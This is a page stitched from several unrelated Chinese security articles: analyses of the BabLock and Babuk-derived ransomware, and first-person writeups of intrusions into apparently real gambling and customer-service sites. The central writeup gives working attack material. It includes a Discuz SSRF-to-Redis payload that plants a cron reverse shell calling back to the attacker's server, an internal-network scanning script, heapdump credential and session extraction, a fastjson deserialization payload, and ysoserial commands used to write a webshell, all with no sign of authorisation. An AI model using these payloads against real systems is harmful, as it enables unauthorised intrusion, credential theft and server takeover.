精妙的攻擊技術在2022年6月首次發現BabLock時，研究人員搜索了類似的文件，發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後，研究人員想弄清楚它是如何逃避檢測這麼長時間的。

自2022年6月以來，只有少數幾起涉及該勒索軟件的記錄事件，包括最近的一起。由於數量較少，截至撰寫本文時，還沒有涉及地區、行業或受害者資料的統計數據。

7.png

BabLock勒索軟件相關事件

然而，由於其顯著特徵，與BabLock相關的攻擊可以很容易地識別。如上所述，在每次文件加密後，勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串，這導致相同的勒索軟件擴展多達100種不同的變體。

8.png

顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段

它還有一個相當複雜的執行例程：

它使用特定的數字代碼來正確執行；

它將包拆分為多個組件；

它將實際有效負載拆解並隱藏到加密文件中；

它使用普通應用程序作為加載程序；

最後，BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下：

Chisel-傳輸控制協議（TCP）和用戶數據報協議（UDP）通道；

Fscan-一個掃描工具；

通過使用這兩個工具，再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit，攻擊者可以毫不費力地在網絡中翱翔。

BabLock與LockBit等勒索軟件的異同根據調查，BabLock使用的大多數例程與Lockbit（2.0）的關係密切。除此之外，它還與Babuk、Yanloowang等勒索軟件存在相似之處。

最初，由於勒索通知的相似性，我們懷疑它與DarkSide勒索軟件有關。然而，與DarkSide勒索軟件不同，BabLock通過執行以下命令行來刪除卷影副本：

9.png

因此，研究人員立即排除了這種關係，因為它不同於DarkSide的操作，即通過Windows Management Instrumentation（WMI）和PowerShell刪除卷影副本（這在技術上更複雜，很難通過標準監控工具檢測到）。

10.png

勒索軟件二進製文件解密並執行命令行以刪除卷影副本

Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣，使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程（儘管也是許多現代勒索軟件的常見例程）。儘管如此，這種相似之處還是不可思議的。此外，它運行相同的命令來為AD執行GPUpdate。因此，該勒索軟件的檢測仍屬於LockBit家族。

11.png

將BabLock生成桌面放置路徑的組策略（左）與LockBit的組策略進行比較（右）

BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。

12.png

BabLock與其他勒索軟件家族的相似之處

總結研究人員發現BabLock時已經是其第三個迭代版了。然而，由於其大部分結構仍然類似於Lockbit v2.0，我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來，即使在最近的攻擊中，研究人員也沒有發現BabLock的有效負載發生任何變化，這進一步說明它與實際的LockBit組織既沒有聯繫。據分析，BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能，並添加了不同勒索軟件家族功能，以創建他們自己的獨特變體，這些變體可能在未來進一步增強。

安全建議如下：

對資產和數據進行盤點；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予員工角色的管理權限和訪問權限；

監控網絡端口、協議和服務；

建立只執行合法應用程序的軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

將最新版本的安全解決方案部署到系統的所有層，包括電子郵件、端點、web和網絡；

注意攻擊的早期跡象，例如係統中存在可疑工具；

實施多方面的方法可以幫助組織保護其係統（如端點、電子郵件、web和網絡）的潛在入口點。

HireHackking

主站注册可以发现jsp和php后缀共存，应该是不同路由反代了不同的中间件，找不到啥漏洞。

Image

论坛是Discuz! X3.2

Image

发现Discuz急诊箱。

Image

admin.php 403，uc_server和急诊箱均无弱密码。

在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞，那么前台漏洞呢？主要有任意文件删除，SSRF，uc_server爆破。

首先是任意文件删除。

POST /home.php?mod=spacecp&ac=profile&op=base

birthprovince=../../../info.php

Image

然后再POST文件上去，即可删除info.php

<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">    
<input type="file"name="birthprovince" id="file" />    
<input type="text"name="formhash" value="017b5107"/>     
<input type="text"name="profilesubmit" value="1"/>    
<input type="submit"value="Submit" /></from>

这个漏洞虽然危害不低，但对后续渗透没什么用，Discuz很难通过删除文件去install。

再看SSRF。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107

这是一个不回显的SSRF，只能通过时间延迟来判断。

一，可直接通过http去探测内网，如果ip存活则短延迟(不管端口开没开)，如果ip不存在则长延迟。

二，可以通过302跳转改变协议，ftp，dict，gopher都支持。

三，可以通过ftp协议来探测端口，如果端口开放则长延迟，如果端口关闭则短延迟。


先通过http协议访问我的VPS获取论坛的真实ip。

163.*. *.35.bc.googleusercontent.com(35.*.*.163)

然后尝试盲打本地redis(这里探测本地端口全关，认为不合理，所以直接盲打)

gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。

先看清晰的SSRF攻击payload

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107

然后302.php?到data=之间的&要url编码，data=到xx=1.png的所有字符串都进行两次url编码，去bp中发包。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107

但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。

Image

因此payload只能放在VPS中写死。

<?php

$ip=$_GET['ip'];

$port=$_GET['port'];

$scheme=$_GET['s'];

$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';

header("Location:$scheme://$ip:$port/$data");

测试一下打VPS上的redis能否成功

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107

Image

没问题。但实际环境中利用失败了，原因不确定，没有redis或者redis权限不够或者redis有密码都是有可能的。

开始写脚本探测内网，不过并未抱多大希望，其为谷歌云，并不一定有内网。

先生成所有内网ip的*.*.*.1的ip字典

f = open('ip.txt','w')

f.write('127.0.0.1')

f.write('localhost')

for i in range(1,256):

    ip = '192.168.'+str(i)+'.1'

    f.write(ip)

for i in range(16,32):

    for ii inrange(1,256):

        ip = '172.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

for i in range(1,256):

    for ii inrange(1,256):

        ip = '10.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

f.close()

然后通过时间延迟来寻内网ip段，这里由于ip不通的延迟长达7s以上，所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以，所以干脆直接使用gopher攻击redis的payload，万一直接打中了呢。

import requests
import threading
 
def ssrf(i):
    url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
    header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
          "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip,deflate",
          "Connection": "keep-alive"
          }
    cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}
    r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
    if r.elapsed.total_seconds()> 6:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        print(timeout)
    else:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        fo = open('openip.txt','a')
        fo.write(str(i)+'open\n')
        fo.close()
        print(str(i)+'open')
        print(timeout)
 
def thread(list):
    name = []
    for i in list:
        th = threading.Thread(target=ssrf,args=(i,))
        name.append(th)
        th.start()
    for th inname:
        th.join()
 
folist = open('ip.txt','r')
list = []
flag = 0
for i infolist.readlines():
    i = i.replace('\n','')
    if flag <21:
        list.append(i)
        flag = flag+1
    else:
        thread(list)
        flag = 0
        list = []

只发现一个开放的网关172.30.2.1，再跑此网关上的内网ip，更换ip.txt即可。

Image

结果跑了一天只跑出两个内网ip，172.30.2.1和172.30.2.2，大概率172.30.2.2是它自己，172.30.2.1是云服务器的虚拟网关。

最后再用ftp协议跑它们的端口，脚本自己改改就行了。

Image

大部分都是误报，其实只开了80和443两个端口，所以除非之后发现其他内网ip，否则SSRF是不用指望了。

最后一个uc_server爆破，原理为改XFF头导致图形验证码固定，同样利用失败，详情见https://www.freebuf.com/articles/web/197546.html

论坛告一段落，接下来看看客服系统有啥问题。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f

id传参，无法目录穿越。文件上传无法利用，开始目录扫描。

Image

admin登录界面有滑块验证，不过是前端骗人的，后端没用到，尝试爆破无果。

看到/actuator，就知道是spring boot了，使用针对性字典爆破。

/swagger-ui.html为空，/env跳转admin，/heapdump 403。

但鬼使神差的我试了试/heapdump.json

Image

解压出来1G内存文件，使用MemoryAnalyzer将其打开，OQL查询。

由于没有/env配合，只能盲查配置信息，这里写一些我摸索出来的小技巧。

select* from org.springframework.web.context.support.StandardServletEnvironment

查配置，注意以Retained Heap(大小)排序，比较方便。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"

查含password的字符串，这种查法不易找出关联类，但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。

Image

select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))

快速查数据库相关信息，发现mysql地址账户密码，不过很遗憾是亚马逊的数据库，默认存在ip白名单，无法远程登录。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"

发现正在登录的session，替换之后登录到后台。

Image

后台使用wss协议进行实时对话，头像处，客服回复处均无利用点。只发现了一些毒狗的哀嚎。

Image


黑盒测试无果，heapdump中翻找有特征的类名，然后去github搜，发现了一份可能是初始版源码，目标用的是改版，源码不太全。

Image

对不全的代码进行审计，找到一处任意文件读取和一处SSRF。

Image

Image

Image

有了部分源码，知道配置文件位置，读取配置文件

Image

获取数据库配置，当然之前在heapdump内存中已经知道了。获取内网ip，172.x.x.x，写脚本开始跑内网ip，脚本参考Discuz那个。

Image

同理，后续用ftp协议扫描内网端口。不过很可惜，java ssrf一般不支持dict和gopher，论坛和客服又不在同一内网，所以很难攻击内网比如redis。

前面一直没提的是，此客服系统存在管理员后台，不过存在ip白名单限制，访问403，虽然能利用SSRF绕过，但是由于只能发起GET请求，无法尝试登陆。

Image

这两处漏洞依旧无法getshell，我决定去fofa上搜同版本客服系统，然后利用任意文件下载来获取完整的源码。

很幸运，直接碰到一个网站可以读.bash_history，在操作记录中暴露了源码路径，获得war包。


Image

开始审计，SQL方面使用的是jpa1.11.6，基本不存在注入问题，但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml，找到两处使用$的地方。

ScacMapper.xml

Image

经典的mybatis order by注入。位于ScacRepository类的findRule方法，全局搜索调用了此方法的地方。

Image

发现不可控，再看第二处。

ChatMapper.xml

Image

位于AgentService类的findChatService方法，全局搜索。

Image

satislevel参数可控，网站中寻找路由，发现是用来查询历史会话的。

Image

/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=

Image

SQL注入成功，不过是个布尔盲注，注入较耗时间。


然后发现fastjson版本较低，于是瞄上了fastjson反序列化。

Image

全局搜索parseObject方法，路由中发现两处。IMController和ApiContactsController。

IMController虽然在前台，但涉及到AES解密和定位key，利用起来较为复杂。

Image

所以决定利用ApiContactsController的save方法。

Image

由于通过heapdump登录过客服后台，直接访问save的路由，却尴尬的发现报401

Image

很显然，客服后台和这个接口不在同一体系，但密码应该是通用的，猜测这些接口是给手机app用的，heapdump中曾获取了用户名，于是在ApiLoginController中找到登录接口，开始爆破。当然，也可以利用之前审计出来的SQL注入，不过实在太慢而且不一定解的出来我就先爆破了。

Image

Image

成功获取凭证，访问路由。

Image

这里是个联系人接口，查用GET，增用PUT，改用POST，删用DELETE，只有改才会调用fastjson。所以直接POST fastjson payload就行。

fastjson 1.24以上版本默认关闭autotype，但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。

https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg

{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}

Image

成功获取dnslog请求，接下来就是用fastjson反序列化getshell就行了吗？

事情并没有那么简单，之前通过heapdump在内存中看到java版本为1.8.0_242，那么rmi和ldap两个JNDI注入都无法使用，这和实际用marshalsec测试结果一致。本地加载有两种方法，org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过，但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，在实际环境中却没能成功。

我在此处被拦了几个小时，最后发现存在rmi反序列化，链为URL链。注意：rmi注入恶意类和rmi反序列化是不一样的。


rmi注入恶意类(marshalsec)，是连接rmi服务器，rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial)，是连接rmi服务器，在和rmi服务器通信的过程中被反序列化攻击了。无版本限制，只需要反序列化链。


如下图，恶意服务器上起一个ysoserial的rmi服务，然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"

Image

成功获取dns请求，那么我只需要找到一条能够利用的反序列链，就能够getshell。
spring项目一般来说，很难有一条序列化链，因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链，而源码中的jar包满足条件。

Image

详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w


先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。

Image

尝试写webshell，成功getshell

Image

由于其存在负载均衡，可以拿到两台服务器权限，至此渗透完毕。



转载于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7
HireHackking

0.jpg

博文摘要基於2021年洩露的Babuk源代碼，SentinelLabs發現了10個勒索軟件團伙使用VMware ESXi加密器（locker）。

這些變體出現在2022年下半年和2023年上半年，表明了Babuk源代碼採用率與日俱增的趨勢。

洩露的源代碼使威脅分子能夠攻擊Linux系統，他們原本缺乏構建切實可行的程序的專長。

隨著更多的威脅分子採用工具，源代碼洩露進一步加大了追根溯源的複雜性。

背景介紹在2023年初，SentinelLabs觀察到基於Babuk（又名Babak或Babyk）的VMware ESXi勒索軟件有所增加。 2021年9月的Babuk洩露事件為我們深入了解有組織的勒索軟件團伙的開發活動提供了大好機會。

由於ESXi在本地和混合企業網絡中很普遍，這種虛擬機管理程序是勒索軟件的重要目標。在過去的兩年裡，多個有組織的勒索軟件團伙採用了Linux加密器，包括ALPHV、Black Basta、Conti、Lockbit和REvil。相比其他Linux變體，這些團伙更關注ESXi，利用ESXi虛擬機管理程序的內置工具來終結訪客系統，然後加密關鍵的虛擬機管理程序文件。

我們發現洩露的Babuk源代碼和歸因於Conti和REvil的ESXi加密器之間存在重疊，後者的迭代版本彼此非常相似。我們還將它們與洩露的Conti Windows加密器源代碼進行了比較，發現了共同的定制函數名和功能特性。

除了這些臭名昭著的團伙外，我們還發現了使用Babuk源代碼生成更出名的ESXi加密器的小型勒索軟件團伙。從Babuk衍生而來的ESXi加密器陣營越來越龐大，包括Ransom House團伙的Mario和之前未記錄的ESXi版本的Play勒索軟件。

Babuk背景Babuk是ESXi勒索軟件領域的早期團伙之一。該團伙的壽命在2021年受到影響，當時Babuk的開發人員洩露了Babuk基於C++的Linux可執行和可鏈接格式（ELF）ESXi、基於Golang的網絡附加存儲（NAS）和基於C++的Windows勒索軟件工具的構建器源代碼。

直到2022年初，沒有太多跡象表明威脅分子改動了洩露的Babuk源代碼，除了曇花一現的“Babuk 2.0”變體和偶爾死灰復燃的新的Windows勒索軟件外。由於網絡犯罪研究常針對Windows，Linux領域的動向悄然出現。

SentinelLabs通過源代碼/6а6ак/esxi/enc/main.cpp中的字符串Doesn 't encrypted files: %d\n，發現了由Babuk派生而來的勒索軟件。

1.jpg

圖1. Babuk源代碼main.cpp中的獨特字符串

Babuk構建器為新生成的二進製文件指定文件名e_esxi.out。我們發現的幾個樣本都有類似的命名約定：

2.png

圖2

在加密方面，ESXi Babuk使用Sosemanuk流密碼的實現對目標文件進行加密，而Windows版本的Babuk使用HC-128加密。 ESXi和Windows Babuk都使用Curve25519-Donna來生成加密密鑰。

數代Babuk家族比較方法SentinelLabs整理出了未精簡的Babuk二進製文件，為Babuk的外觀和行為確立基準，此後稱之為“基準Babuk”（Baseline Babuk）。為了解我們發現的變體是否與Babuk有關，我們將每個變體與這個基準Babuk樣本進行了比較，凸顯了顯著的相似和差異之處。

Babuk 2023（.XVGV）SHA1：e8bb26f62983055cfb602aa39a89998e8f512466

XVGV又名Babuk 2023，於2023年3月出現在Bleeping Computer的論壇上。基準Babuk和XVGV共享了由main.cpp派生而來的代碼、來自args.cpp的參數處理函數和加密實現。

與Babuk一樣，XVGV要求勒索軟件團伙提供要加密的目錄作為參數。在動態分析過程中，我們提供了測試系統的用戶目錄。在第一次運行時，樣本在所有子目錄中生成了勒索信HowToRestore.txt。

然而只有6個文件被加密，每個文件的擴展名為.log或.gz。查看包含的文件擴展名可以發現為什麼破壞很有限：XVGV針對以VMware為中心的文件，排除那些與指定列表不匹配的文件。這是基準Babuk共有的行為，不過XVGV開發者添加了更多的文件擴展名。

3.jpg

圖3. XVGV.rodata部分引用文件擴展名（左）和Babuk源代碼對應部分

Play（.FinDom）SHA1：dc8b9bc46f1d23779d3835f2b3648c21f4cf6151

該文件引用文件擴展名.FinDom以及勒索電子郵件地址findomswitch@fastmail.pw，這些是與Play勒索軟件相關的工件。這是針對Linux系統構建的第一個已知版本的Play，這與勒索軟件團伙日益攻擊Linux的趨勢保持一致。 Play包含與基準Babuk相同的文件搜索功能；它還使用Sosemanuk實現加密。

4.jpg

圖4. 基準Babuk（左）和Play反彙編勒索信構造函數

Play二進製文件作為壓縮包（SHA1: 9290478cda302b9535702af3a1dada25818ad9ce）的一部分被提交到VirusTotal，壓縮包裡有多種黑客工具和實用程序，包括AnyDesk、NetCat、特權升級批處理文件和編碼的PowerShell Empire腳本，在獲得初始訪問權後它們與勒索軟件團伙採用的技術相關聯。

Mario（.emario）SHA1：048 b3942c715c6bff15c94cdc0bb4414dbab9e07

Mario勒索軟件由Ransom House運營，該團伙於2021年浮出水面。 Ransom House最初聲稱，他們以易受攻擊的網絡為目標，竊取數據，並不加密文件。然而該團伙此後採用了加密器。

樣本同樣有一個很相似的find_files_recursive函數，包括默認的勒索信文件名How To Restore Your Files.txt。加密函數也一樣。

冗長的勒索信內容是Mario ESXi加密器最獨特的部分。 Ransom House威脅分子向受害者提供了非常明確的指示，解釋應該做什麼、如何與他們聯繫。

5.jpg

圖5. Mario字符串顯示默認的Babuk日誌信息和勒索信

Conti POC（.conti）Conti POC—SHA1：091f4bddea8bf443bc8703730f15b21f7ccf00e9

Conti ESXi加密器SHA1：ee827023780964574f28c6ba333d800b73eae5c4

令我們驚訝的是，搜尋Babuk過程中發現了幾個內部名為“Conti POC”的二進製文件，POC的全稱可能是“概念驗證”，這些二進製文件出現在2022年9月針對墨西哥實體的一起活動中。

Conti是一個臭名昭著的勒索軟件團伙，組織嚴密、冷酷無情。洩露的信息顯示，Conti的組織體系更像許多合法公司，而不是犯罪團伙：該團伙僱傭了中層管理和人力資源部門。大約在2021年初，洩露的聊天記錄顯示，Conti在讓其ESXi加密器發揮功效時遇到了麻煩。

我們比較了Conti和Babuk的幾個迭代版本，以評估兩者的聯繫。 Conti ESXi於2022年4月問世，這可能意味著Conti在2021年9月Babuk代碼洩露後實現了該代碼，最終使加密器發揮功效。

Conti POC和Conti ESXi加密器：Conti POC不太成熟，這與“概念驗證”的名稱倒是一致。 Conti POC和Conti ESXi有許多相同的函數名和行為，包括相同的參數處理函數和條件。我們得出結論，這些樣本是相關的；Conti POC可能是Conti ESXi加密器的前身。

6.jpg

圖6. Conti ESXi（左）和Conti POC Babuk派生參數處理的橫向比較視圖

Conti POC 基準Babuk：Conti POC SearchFiles和基準Babuk find_files_recursive函數非常相似，含有相同的文件狀態變量名。 Conti將此函數的某些部分移植到了其他本地模塊，表明比基準Babuk更成熟。這兩個家族還有相似的主函數，表明兩者也有聯繫，Conti POC是更成熟的基準Babuk進化版。

7.jpg

圖7. 基準Babuk（左）中的find_files_recursive和Conti POC中的SearchFiles

對比Conti Windows洩露代碼：在Linux版本的Conti（POC和ESXi）與洩露的Windows Conti代碼之間，實用程序和函數名稱存在相當大的重疊。兩個版本都使用相同的開源ChaCha加密實現。洩露的Conti Windows代碼含有註釋掉的對HandleCommandLine的引用——這是我們分析的其他Conti變體中看到的一個函數，以及幾個需要解析的共享參數，比如prockiller。開發人員可能會在Windows版本與ESXi加密器之間對齊了函數名，以實現功能同等。

8.jpg

圖8. Conti ESXi（左）和Windows main.cpp HandleCommandLine函數

REvil，又名Revix（.rhkrc）RHKRC— SHA1：74e4b2f7abf9dbd376372c9b05b26b02c2872e4b

2021年6月Revix—SHA1：29f16c046a344e0d0adfea80d5d7958d6b6b8cfa

我們發現了一個內部名為RHKRC的類似Babuk的樣本，它將.rhkrc擴展名附加到文件名的末尾，這個行為與REvil團伙的“Revix”ESXi加密器相關聯。有意思的是，關於外頭Revix的報告可以追溯到2021年6月，早於2021年9月的Babuk源代碼洩露。

為了明白這在發展時間表中所在的位置，我們比較了相關活動的幾個迭代版本：

RHKRC和Conti POC：這兩個版本異常相似，都通過上述的ChaCha20實現了加密。它們有一個幾乎相同的InitializeEncryptor函數。這些樣品是相關的。

9.jpg

圖9.來自RHKRC（左）和Conti POC的InitializeEncryptor函數

10.jpg

圖10.來自RHKRC（左）和Conti POC的EncryptFull函數

RHKRC和基準Babuk：這些樣本有許多相同的函數名，包括Babuk的原生線程池。然而，RHKRC實現加密的方式有所不同，它有更定制的ESXi CLI活動。我們認為這些樣本是相關的，不過RHKRC更成熟，儘管同樣處於“概念驗證”階段。

RHKRC和2021年6月Revix：我們比較了RHKRC和2021年6月活躍的Revix。 Revix要成熟得多，包含在分析的其他變體中未看到的動態代碼去混淆措施。 RHKRC和Revix都有相同的內部文件名（elf.exe）、勒索信名稱和附加的文件擴展名。然而，這些相似之處主要是表面上的，我們無法得出是否明確存在關聯的結論。關於這些巧合的任何說法都只是猜測。

榮譽提名SentinelLabs特別指出，還有另外幾個已知的家族由Babuk ESXi源代碼派生而來，包括：

Cylance勒索軟件（與同名安全公司無關）

Dataf加密器

Rorschach，又名BabLock

Lock4

RTM加密器

雖然毫無疑問有更多的Babuk衍生變體未引起注意，但還有其他獨特的ESXi勒索軟件家族。粗略看一下ALPHV、BlackBasta、Hive和Lockbit的ESXi加密器，發現它們與Babuk沒有明顯的相似之處。

Babuk偶爾也會背黑鍋。坊間報導的2月份ESXiArgs活動曾短暫摧毀了一些未打補丁的雲服務，聲稱同名加密器由Babuk派生而來。然而我們分析後發現，ESXiArgs（SHA1： f25846f8cda8b0460e1db02ba6d3836ad3721f62）與Babuk幾乎沒有相似之處。唯一值得注意的相似之處是，使用相同的開源Sosemanuk加密實現。主函數完全不同，如下所示。 ESXiArgs還使用外部shell腳本來搜索文件，向esxcli提供參數，因此沒有原生的find_files_recursive函數可供比較。

11.jpg

圖11. ESXiArgs主函數

結論SentinelLabs的分析發現了ESXi勒索軟件家族之間的意外聯繫，揭示了Babuk與Conti和REvil等更出名的團伙之間可能存在的關係。雖然與REvil的關係仍是暫時的，但這些團伙（Babuk、Conti和REvil）有可能將ESXi加密器項目外包給了同一家開發商。在勒索軟件開髮圈，Linux惡意軟件開發商面臨的人才庫肯定要小得多，而勒索軟件開髮圈在開發高明的Windows惡意軟件方面一直擁有可圈可點的專長。勒索軟件團伙遭遇過無數次洩密，所以這些圈子中出現小規模洩露也在情理之中。此外，威脅分子可能共享代碼進行協作，類似開放開發項目的源代碼。

一個明顯的趨勢是，威脅分子日益使用Babuk構建器來開發ESXi和Linux勒索軟件。當由資源較少的威脅分子使用時，這一點尤為明顯，因為這些威脅分子不太可能大幅修改Babuk源代碼。

從Babuk的ESXi加密器代碼的流行程度來看，威脅分子也可能轉向該團伙基於Go的NAS加密器。對於許多威脅分子來說，Gang仍然是小眾的選擇，但其人氣在不斷提升。被盯上的NAS系統也基於Linux。雖然NAS加密器不那麼複雜，但代碼清晰易讀，這可能使熟悉Go或類似編程語言的開發人員更容易訪問勒索軟件。

攻陷指標12.png

圖12

HireHackking

某菠菜网站的渗透

1、偶然间发现一个菠菜站点，遂测试一番，思路如下：既然是菠菜站，肯定会让用户注册，否则怎么收钱了？注册这种和用户强交互的页面，可能存在的漏洞如下：

  • sql注入：用户输入的账号信息，如果不经过滤直接用来写入或查询数据库，肯定存在sql注入
  • xss：在输入框输入的个人信息，大概率会被展示在用户的页面；同时管理员肯定有权限在后台查看用户的个人信息，这里可能会有存储型xss；就算是反射型或DOM型xss，由于这类站点有客服，可以想办法诱骗客户点击链接，达到偷cookie或其他目的；
  • 平行越权：用户登陆时、登陆后查看某些页面，此时抓包，如果有类似id字段，通过更改id号可能能看到其他用户、甚至管理员的信息
  • CSRF：修改账号信息，比如密码；或则修改邮箱，再通过邮箱修改密码；
  • 支付漏洞：抓包改参数，造成0元支付

2、顺着这个思路，不管三七二之一，先上工具试试注册页面，结果如下：发现2个高危的xss；

3y3gferadee12832.png

 （1）先看第二个：把提示的参数换成检测工具的payload后，页面如下：自己的payload居然被完整的在页面展示，没有任何过滤，高兴死我了；

qjtojfdwmbv12835.png

        由于payload本身就在JS内部，所以刚开始并未构造script标签，而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload，目的是让alert(666)直接暴露在后台原有的script标签里，但反复尝试了好多个都不行，只能调整思路，重新构造script标签，这次成功，如下；说明这个xss没误报；

  2yyad531w3k12837.png

